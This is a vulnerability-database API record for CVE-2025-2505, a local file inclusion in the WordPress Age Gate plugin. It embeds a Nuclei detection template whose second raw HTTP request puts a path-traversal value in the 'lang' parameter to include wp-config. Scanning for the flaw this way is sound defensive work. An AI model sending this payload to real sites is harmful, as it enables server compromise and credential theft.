{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-2505/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-2505/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-2505/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-2505/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-2505/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-2505"},"sightings":{"href":"/api/v1/sightings/cve-2025-2505"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-2505.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2025-2505\n\ninfo:\n  name: WordPress Age Gate <= 3.5.3 - Unauthenticated Local File Inclusion\n  author: pussycat0x\n  severity: critical\n  description: |\n    The Age Gate plugin for WordPress up to version 3.5.3 contains a local PHP file inclusion caused by the 'lang' parameter, letting unauthenticated attackers include and execute arbitrary PHP files, exploit requires no authentication.\n  impact:\n    Attackers can execute arbitrary PHP code on the server, potentially leading to full server compromise.\n  remediation:\n    Update to the latest version of the plugin, version 3.5.4 or later.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/age-gate/age-gate-353-unauthenticated-local-php-file-inclusion-via-lang\n    - https://plugins.trac.wordpress.org/changeset/3271222/age-gate\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2025-2505\n    cwe-id: CWE-98\n    epss-score: 0.04884\n    epss-percentile: 0.9168\n  metadata:\n    verified: true\n    max-request: 2\n  tags: cve,cve2025,wordpress,wp-plugin,age-gate,lfi,wp,vkev\n\nhttp:\n  - raw:\n      - |\n        GET /?rest_route=/age-gate/v3/check HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        GET /?rest_route=/age-gate/v3/check&age_gate[lang]=../../../../../../../../wp-config HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code_1 == 200\"\n          - \"contains(body_1, 'age_gate')\"\n          - \"contains(body_2, 'DB_NAME already defined')\"\n        condition: and\n# digest: 4a0a00473045022012cca0f1e18feac44ca56cef1c044e9e237a0725738cf620d201ad187af0add6022100d4fe054af48f3728f4cd7db12f32500eac01660e14cde2b332a25b3efc00c56c:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2025-2505"}